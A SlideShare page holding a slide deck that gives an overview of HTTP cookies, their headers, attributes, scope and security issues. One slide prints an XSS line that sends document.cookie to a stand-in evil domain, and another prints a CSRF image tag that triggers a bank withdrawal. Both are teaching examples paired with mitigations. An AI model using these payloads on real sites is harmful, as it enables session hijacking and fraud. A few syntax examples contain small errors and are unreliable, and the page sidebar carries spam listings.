SlideShare a Scribd company logo
1 of 20
HTTP Cookie
A Quick Overview of Cookie in HTTP
What is a Cookie?
Cookie is a small piece of data that is sent from the website and is stored on the
user computer. Then the stored cookie is sent to the same website with every
request.
Cookies are designed to be a reliable mechanism to remember stateful
information as HTTP is stateless.
Cookies are used mainly for three purposes:
● Session management
● Personalization
● Tracking
Purpose of Cookie
Figure: Client request
Figure: Server response
HTTP/2.0 200 OK
Content-type: text/html
Set-Cookie: tasty_cookie=strawberry
[page content]
GET /sample_page.html HTTP/2.0
HOST: www.example.org
Cookie: tasty_cookie=strawberry
How to set Cookie?
Set-Cookie Header
Figure: Set-Cookie syntax
Set-Cookie : <Cookie-name>=<Cookie-Value>
Set-Cookie : <Cookie-name>=<Cookie-Value>; Expires=<date>
Set-Cookie : <Cookie-name>=<Cookie-Value>; Max-age=<non-zero Length>
Set-Cookie : <Cookie-name>=<Cookie-Value>; Domain=<domain-value>
Set-Cookie : <Cookie-name>=<Cookie-Value>; Path=<path-value>
Set-Cookie : <Cookie-name>=<Cookie-Value>; Secure
Set-Cookie : <Cookie-name>=<Cookie-Value>; HttpOnly
Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= Strict
Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= Lax
Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= None
Set-Cookie : <Cookie-name>=<Cookie-Value>; Domain=<domain-value>;Secure
Cookie Header
The Cookie HTTP request header contains stored HTTP cookies previously sent
by the server with Set-Cookie header. Cookie header is optional and may be
omitted, for example, if the browser’s privacy block cookies.
Cookie: <Cookie-list>
Cookie: name=value
Cookie: name=value; name2=value2; name3=value3
Figure: Cookie header in HTTP request
Classification of Cookies
There are two types of cookies in terms of persistence, such as -
● Session cookie/ Non-persistent cookie
● Permanent cookie/ Persistent cookie
Example: Set-Cookie: theme: light; language: english
Example: Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2021 07:28:00 GMT
Classification of Cookies (Continued)
Cookies can be classified according to which protocol is used, HTTP or HTTPS.
Like-
● Secure Cookie
● HttpOnly cookie
Example: Set-Cookie: id=a3fwa; Expires= Wed, 05 Feb 2020 80:30:00 GMT; Secure; HttpOnly
Scope of cookies
The Domain and Path directives define the scope of cookies which tells the user
client to send cookies to specific URLs. Like -
● Domain: Domain specifies allowed hosts to receive cookies.
● Path: Path indicates a URL path that must exist in the requested URL in order to
send cookie header.
domain=mozilla.org then developer.mozilla.org is included.
/docs
/docs/web/
/docs/web/HTTP
Cross site cookie sharing
SameSite cookies let servers require that cookie shouldn’t be sent with cross-site
requests. SameSite can have one of the following three values :-
● None
● Strict
● Lax
Example: Set-Cookie: key=value; Samesite=Strict
Cookie prefixes
Cookies can be overwritten by a man-in-the-middle attacker,even when using
HTTPS. So special cookie prefixes are used to make them more secure.
1. __Secure - prefix makes a cookie accessible from HTTPS sites only.
2. __Host - prefixed cookie is only accessible by the same domain it’s set on.So
a subdomain can no longer overwrite the cookie value.
JavaScript access using Document.cookie
New cookies can be created via JavaScript using Document.cookie property, and
if the HttpOnly flag is not set,existing cookies can be accessed from the
JavaScript as well.
document.cookie = “yummy_cookie = choco”;
document.cookie = “tasty_cookie = strawberry”:
console.log(document.cookie);
Security issues
Session Hijacking and XSS:
If cookies are used to identify users and their authenticated session, then stealing
the cookie can be used to impersonate the user. For example -
Prevention: HttpOnly cookie attribute can mitigate this attack.
new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" +
document.cookie;
Security issues (continued)
Cross-site request forgery(CSRF): This attack forces an user to execute unwanted
actions on a web application in which they’re currently authenticated. Like -
transferring funds, changing email address etc.
Now, this transaction will be executed as soon as the HTML page is loaded.
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Security issues (continued)
Prevention: several steps can be taken to mitigate the security issue. Such as-
● GET endpoints should be idempotent
● Use of CSRF token
● Short lifetime of session cookie
● CSRF token and SameSite token should be deployed.
Tracking and privacy
Cookies are widely used by organizations to track user behavior and advertising.
There are some headers that can be used to protect user privacy. Such as -
● Do-Not-Track(DNT) - request header indicates the user’s tracking preference.
● EU cookie directive: The user must give consent to store or retrieve any
information from a computer,mobile phone or other devices.
● Zombie cookies - This type of cookie is recreated after deletion and resides
outside the web browser’s dedicated cookie storage.
Drawbacks of Cookies
Cookies have some disadvantages which makes it inefficient to represent state,
like -
● Inaccurate identification
● Inconsistent state on client and server
Alternative of Cookie
There are alternatives of cookies. Some of them are listed below -
● JWT
● HTTP Authentication
● IP address
etc.
References
● https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/
● https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
● https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
● https://en.wikipedia.org/wiki/Zombie_cookie
● https://en.wikipedia.org/wiki/HTTP_cookie
Thank You!

More Related Content

What's hot (20)

Sessions and cookies
Sessions and cookiesSessions and cookies
Sessions and cookies
 
Cookie & Session In ASP.NET
Cookie & Session In ASP.NETCookie & Session In ASP.NET
Cookie & Session In ASP.NET
 
Cookies & Session
Cookies & SessionCookies & Session
Cookies & Session
 
Session and Cookies
Session and CookiesSession and Cookies
Session and Cookies
 
Cookie replay attack unit wise presentation
Cookie replay attack  unit wise presentationCookie replay attack  unit wise presentation
Cookie replay attack unit wise presentation
 
PHP Cookies, Sessions and Authentication
PHP Cookies, Sessions and AuthenticationPHP Cookies, Sessions and Authentication
PHP Cookies, Sessions and Authentication
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
 
java Cookies
java Cookiesjava Cookies
java Cookies
 
PHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and SessionsPHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and Sessions
 
Cookie testing
Cookie testingCookie testing
Cookie testing
 
Introduction to php web programming - sessions and cookies
Introduction to php   web programming - sessions and cookiesIntroduction to php   web programming - sessions and cookies
Introduction to php web programming - sessions and cookies
 
PHP Cookies and Sessions
PHP Cookies and SessionsPHP Cookies and Sessions
PHP Cookies and Sessions
 
Cookie and session
Cookie and sessionCookie and session
Cookie and session
 
Php sessions & cookies
Php sessions & cookiesPhp sessions & cookies
Php sessions & cookies
 
Cookies-PHP
Cookies-PHPCookies-PHP
Cookies-PHP
 
Php ssession - cookies -introduction
Php ssession - cookies -introductionPhp ssession - cookies -introduction
Php ssession - cookies -introduction
 
Php Sessoins N Cookies
Php Sessoins N CookiesPhp Sessoins N Cookies
Php Sessoins N Cookies
 
Sessions in php
Sessions in php Sessions in php
Sessions in php
 
Session Management & Cookies In Php
Session Management & Cookies In PhpSession Management & Cookies In Php
Session Management & Cookies In Php
 
Session tracking in servlets
Session tracking in servletsSession tracking in servlets
Session tracking in servlets
 

Similar to Overview of Cookies in HTTP - Miran al Mehrab

19_JavaScript - Storage_Cookies-tutorial .pptx
19_JavaScript - Storage_Cookies-tutorial .pptx19_JavaScript - Storage_Cookies-tutorial .pptx
19_JavaScript - Storage_Cookies-tutorial .pptxssuser4a97d3
 
4 useful things web designers can do with meta tags
4 useful things web designers can do with meta tags4 useful things web designers can do with meta tags
4 useful things web designers can do with meta tagsInnomedia Technologies
 
19_JavaScript - Storage_Cookies_students.pptx
19_JavaScript - Storage_Cookies_students.pptx19_JavaScript - Storage_Cookies_students.pptx
19_JavaScript - Storage_Cookies_students.pptxVatsalJain39
 
Ch4(saving state with cookies and query strings)
Ch4(saving state with cookies and query strings)Ch4(saving state with cookies and query strings)
Ch4(saving state with cookies and query strings)Chhom Karath
 
CSU33012-I-microservices.pdf
CSU33012-I-microservices.pdfCSU33012-I-microservices.pdf
CSU33012-I-microservices.pdfRicky Garg
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax ApplicationsSiarhei Barysiuk
 
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital Marketers
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital MarketersSearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital Marketers
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital MarketersDistilled
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developersMichael Haberman
 
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...OpenIDFoundation
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocolAviran Mordo
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingRoel Palmaers
 
Optimising Web Application Frontend
Optimising Web Application FrontendOptimising Web Application Frontend
Optimising Web Application Frontendtkramar
 
PHP - Getting good with cookies
PHP - Getting good with cookiesPHP - Getting good with cookies
PHP - Getting good with cookiesFirdaus Adib
 
How to Redirect HTTP to HTTPS in htaccess.pdf
How to Redirect HTTP to HTTPS in htaccess.pdfHow to Redirect HTTP to HTTPS in htaccess.pdf
How to Redirect HTTP to HTTPS in htaccess.pdfHost It Smart
 

Similar to Overview of Cookies in HTTP - Miran al Mehrab (20)

Session,cookies
Session,cookiesSession,cookies
Session,cookies
 
19_JavaScript - Storage_Cookies-tutorial .pptx
19_JavaScript - Storage_Cookies-tutorial .pptx19_JavaScript - Storage_Cookies-tutorial .pptx
19_JavaScript - Storage_Cookies-tutorial .pptx
 
4 useful things web designers can do with meta tags
4 useful things web designers can do with meta tags4 useful things web designers can do with meta tags
4 useful things web designers can do with meta tags
 
19_JavaScript - Storage_Cookies_students.pptx
19_JavaScript - Storage_Cookies_students.pptx19_JavaScript - Storage_Cookies_students.pptx
19_JavaScript - Storage_Cookies_students.pptx
 
Ch4(saving state with cookies and query strings)
Ch4(saving state with cookies and query strings)Ch4(saving state with cookies and query strings)
Ch4(saving state with cookies and query strings)
 
CSU33012-I-microservices.pdf
CSU33012-I-microservices.pdfCSU33012-I-microservices.pdf
CSU33012-I-microservices.pdf
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax Applications
 
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital Marketers
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital MarketersSearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital Marketers
SearchLove San Diego 2018 | Mat Clayton | Site Speed for Digital Marketers
 
Sessions&cookies
Sessions&cookiesSessions&cookies
Sessions&cookies
 
Fletcher "Browser Changes Impacting Identity Flows"
Fletcher "Browser Changes Impacting Identity Flows"Fletcher "Browser Changes Impacting Identity Flows"
Fletcher "Browser Changes Impacting Identity Flows"
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developers
 
Sessions n cookies
Sessions n cookiesSessions n cookies
Sessions n cookies
 
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...
OIDF Workshop at Verizon Media -- 9/30/2019 -- Browser Changes Impacting Iden...
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocol
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprinting
 
Optimising Web Application Frontend
Optimising Web Application FrontendOptimising Web Application Frontend
Optimising Web Application Frontend
 
PHP - Getting good with cookies
PHP - Getting good with cookiesPHP - Getting good with cookies
PHP - Getting good with cookies
 
How to Redirect HTTP to HTTPS in htaccess.pdf
How to Redirect HTTP to HTTPS in htaccess.pdfHow to Redirect HTTP to HTTPS in htaccess.pdf
How to Redirect HTTP to HTTPS in htaccess.pdf
 
16 cookies
16 cookies16 cookies
16 cookies
 
4.4 PHP Session
4.4 PHP Session4.4 PHP Session
4.4 PHP Session
 

More from Cefalo

Code Smells and Refactoring - Satyajit Dey & Ashif Iqbal
Code Smells and Refactoring - Satyajit Dey & Ashif IqbalCode Smells and Refactoring - Satyajit Dey & Ashif Iqbal
Code Smells and Refactoring - Satyajit Dey & Ashif IqbalCefalo
 
Handshaking with HTTPS - Rafiul Islam
Handshaking with HTTPS - Rafiul IslamHandshaking with HTTPS - Rafiul Islam
Handshaking with HTTPS - Rafiul IslamCefalo
 
Evolution of HTTP - Miran Al Mehrab
Evolution of HTTP - Miran Al MehrabEvolution of HTTP - Miran Al Mehrab
Evolution of HTTP - Miran Al MehrabCefalo
 
Content Negotiation in HTTP - Ibnul Tahsin Bhuiyan
Content Negotiation in HTTP - Ibnul Tahsin BhuiyanContent Negotiation in HTTP - Ibnul Tahsin Bhuiyan
Content Negotiation in HTTP - Ibnul Tahsin BhuiyanCefalo
 
Conditional Requests in HTTP - Nafis Fuad
Conditional Requests in HTTP - Nafis FuadConditional Requests in HTTP - Nafis Fuad
Conditional Requests in HTTP - Nafis FuadCefalo
 
Software Design Principles and Best Practices - Satyajit Dey
Software Design Principles and Best Practices - Satyajit DeySoftware Design Principles and Best Practices - Satyajit Dey
Software Design Principles and Best Practices - Satyajit DeyCefalo
 
Tips to kick-start your Software Engineering Career - Ferdous Mahmud Shaon
Tips to kick-start your Software Engineering Career - Ferdous Mahmud ShaonTips to kick-start your Software Engineering Career - Ferdous Mahmud Shaon
Tips to kick-start your Software Engineering Career - Ferdous Mahmud ShaonCefalo
 
Rest API Authentication - Uttom Akash
Rest API Authentication - Uttom AkashRest API Authentication - Uttom Akash
Rest API Authentication - Uttom AkashCefalo
 
Overview of REST - Raihan Ullah
Overview of REST - Raihan UllahOverview of REST - Raihan Ullah
Overview of REST - Raihan UllahCefalo
 
Getting started with Test Driven Development - Ferdous Mahmud Shaon
Getting started with Test Driven Development - Ferdous Mahmud ShaonGetting started with Test Driven Development - Ferdous Mahmud Shaon
Getting started with Test Driven Development - Ferdous Mahmud ShaonCefalo
 
Brief of Caching - Rafiul Islam
Brief of Caching - Rafiul IslamBrief of Caching - Rafiul Islam
Brief of Caching - Rafiul IslamCefalo
 
Basics of HTTP - Nafis Fuad
Basics of HTTP - Nafis FuadBasics of HTTP - Nafis Fuad
Basics of HTTP - Nafis FuadCefalo
 
Cross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCefalo
 

More from Cefalo (13)

Code Smells and Refactoring - Satyajit Dey & Ashif Iqbal
Code Smells and Refactoring - Satyajit Dey & Ashif IqbalCode Smells and Refactoring - Satyajit Dey & Ashif Iqbal
Code Smells and Refactoring - Satyajit Dey & Ashif Iqbal
 
Handshaking with HTTPS - Rafiul Islam
Handshaking with HTTPS - Rafiul IslamHandshaking with HTTPS - Rafiul Islam
Handshaking with HTTPS - Rafiul Islam
 
Evolution of HTTP - Miran Al Mehrab
Evolution of HTTP - Miran Al MehrabEvolution of HTTP - Miran Al Mehrab
Evolution of HTTP - Miran Al Mehrab
 
Content Negotiation in HTTP - Ibnul Tahsin Bhuiyan
Content Negotiation in HTTP - Ibnul Tahsin BhuiyanContent Negotiation in HTTP - Ibnul Tahsin Bhuiyan
Content Negotiation in HTTP - Ibnul Tahsin Bhuiyan
 
Conditional Requests in HTTP - Nafis Fuad
Conditional Requests in HTTP - Nafis FuadConditional Requests in HTTP - Nafis Fuad
Conditional Requests in HTTP - Nafis Fuad
 
Software Design Principles and Best Practices - Satyajit Dey
Software Design Principles and Best Practices - Satyajit DeySoftware Design Principles and Best Practices - Satyajit Dey
Software Design Principles and Best Practices - Satyajit Dey
 
Tips to kick-start your Software Engineering Career - Ferdous Mahmud Shaon
Tips to kick-start your Software Engineering Career - Ferdous Mahmud ShaonTips to kick-start your Software Engineering Career - Ferdous Mahmud Shaon
Tips to kick-start your Software Engineering Career - Ferdous Mahmud Shaon
 
Rest API Authentication - Uttom Akash
Rest API Authentication - Uttom AkashRest API Authentication - Uttom Akash
Rest API Authentication - Uttom Akash
 
Overview of REST - Raihan Ullah
Overview of REST - Raihan UllahOverview of REST - Raihan Ullah
Overview of REST - Raihan Ullah
 
Getting started with Test Driven Development - Ferdous Mahmud Shaon
Getting started with Test Driven Development - Ferdous Mahmud ShaonGetting started with Test Driven Development - Ferdous Mahmud Shaon
Getting started with Test Driven Development - Ferdous Mahmud Shaon
 
Brief of Caching - Rafiul Islam
Brief of Caching - Rafiul IslamBrief of Caching - Rafiul Islam
Brief of Caching - Rafiul Islam
 
Basics of HTTP - Nafis Fuad
Basics of HTTP - Nafis FuadBasics of HTTP - Nafis Fuad
Basics of HTTP - Nafis Fuad
 
Cross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul Hakim
 

Recently uploaded

Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptkotipi9215
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...MyIntelliSource, Inc.
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software DevelopersVinodh Ram
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureDinusha Kumarasiri
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)OPEN KNOWLEDGE GmbH
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataBradBedford3
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 

Recently uploaded (20)

Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.ppt
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software Developers
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with Azure
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 

Overview of Cookies in HTTP - Miran al Mehrab

  • 1. HTTP Cookie A Quick Overview of Cookie in HTTP
  • 2. What is a Cookie? Cookie is a small piece of data that is sent from the website and is stored on the user computer. Then the stored cookie is sent to the same website with every request.
  • 3. Cookies are designed to be a reliable mechanism to remember stateful information as HTTP is stateless. Cookies are used mainly for three purposes: ● Session management ● Personalization ● Tracking Purpose of Cookie
  • 4. Figure: Client request Figure: Server response HTTP/2.0 200 OK Content-type: text/html Set-Cookie: tasty_cookie=strawberry [page content] GET /sample_page.html HTTP/2.0 HOST: www.example.org Cookie: tasty_cookie=strawberry How to set Cookie?
  • 5. Set-Cookie Header Figure: Set-Cookie syntax Set-Cookie : <Cookie-name>=<Cookie-Value> Set-Cookie : <Cookie-name>=<Cookie-Value>; Expires=<date> Set-Cookie : <Cookie-name>=<Cookie-Value>; Max-age=<non-zero Length> Set-Cookie : <Cookie-name>=<Cookie-Value>; Domain=<domain-value> Set-Cookie : <Cookie-name>=<Cookie-Value>; Path=<path-value> Set-Cookie : <Cookie-name>=<Cookie-Value>; Secure Set-Cookie : <Cookie-name>=<Cookie-Value>; HttpOnly Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= Strict Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= Lax Set-Cookie : <Cookie-name>=<Cookie-Value>; SameSite= None Set-Cookie : <Cookie-name>=<Cookie-Value>; Domain=<domain-value>;Secure
  • 6. Cookie Header The Cookie HTTP request header contains stored HTTP cookies previously sent by the server with Set-Cookie header. Cookie header is optional and may be omitted, for example, if the browser’s privacy block cookies. Cookie: <Cookie-list> Cookie: name=value Cookie: name=value; name2=value2; name3=value3 Figure: Cookie header in HTTP request
  • 7. Classification of Cookies There are two types of cookies in terms of persistence, such as - ● Session cookie/ Non-persistent cookie ● Permanent cookie/ Persistent cookie Example: Set-Cookie: theme: light; language: english Example: Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2021 07:28:00 GMT
  • 8. Classification of Cookies (Continued) Cookies can be classified according to which protocol is used, HTTP or HTTPS. Like- ● Secure Cookie ● HttpOnly cookie Example: Set-Cookie: id=a3fwa; Expires= Wed, 05 Feb 2020 80:30:00 GMT; Secure; HttpOnly
  • 9. Scope of cookies The Domain and Path directives define the scope of cookies which tells the user client to send cookies to specific URLs. Like - ● Domain: Domain specifies allowed hosts to receive cookies. ● Path: Path indicates a URL path that must exist in the requested URL in order to send cookie header. domain=mozilla.org then developer.mozilla.org is included. /docs /docs/web/ /docs/web/HTTP
  • 10. Cross site cookie sharing SameSite cookies let servers require that cookie shouldn’t be sent with cross-site requests. SameSite can have one of the following three values :- ● None ● Strict ● Lax Example: Set-Cookie: key=value; Samesite=Strict
  • 11. Cookie prefixes Cookies can be overwritten by a man-in-the-middle attacker,even when using HTTPS. So special cookie prefixes are used to make them more secure. 1. __Secure - prefix makes a cookie accessible from HTTPS sites only. 2. __Host - prefixed cookie is only accessible by the same domain it’s set on.So a subdomain can no longer overwrite the cookie value.
  • 12. JavaScript access using Document.cookie New cookies can be created via JavaScript using Document.cookie property, and if the HttpOnly flag is not set,existing cookies can be accessed from the JavaScript as well. document.cookie = “yummy_cookie = choco”; document.cookie = “tasty_cookie = strawberry”: console.log(document.cookie);
  • 13. Security issues Session Hijacking and XSS: If cookies are used to identify users and their authenticated session, then stealing the cookie can be used to impersonate the user. For example - Prevention: HttpOnly cookie attribute can mitigate this attack. new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
  • 14. Security issues (continued) Cross-site request forgery(CSRF): This attack forces an user to execute unwanted actions on a web application in which they’re currently authenticated. Like - transferring funds, changing email address etc. Now, this transaction will be executed as soon as the HTML page is loaded. <img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
  • 15. Security issues (continued) Prevention: several steps can be taken to mitigate the security issue. Such as- ● GET endpoints should be idempotent ● Use of CSRF token ● Short lifetime of session cookie ● CSRF token and SameSite token should be deployed.
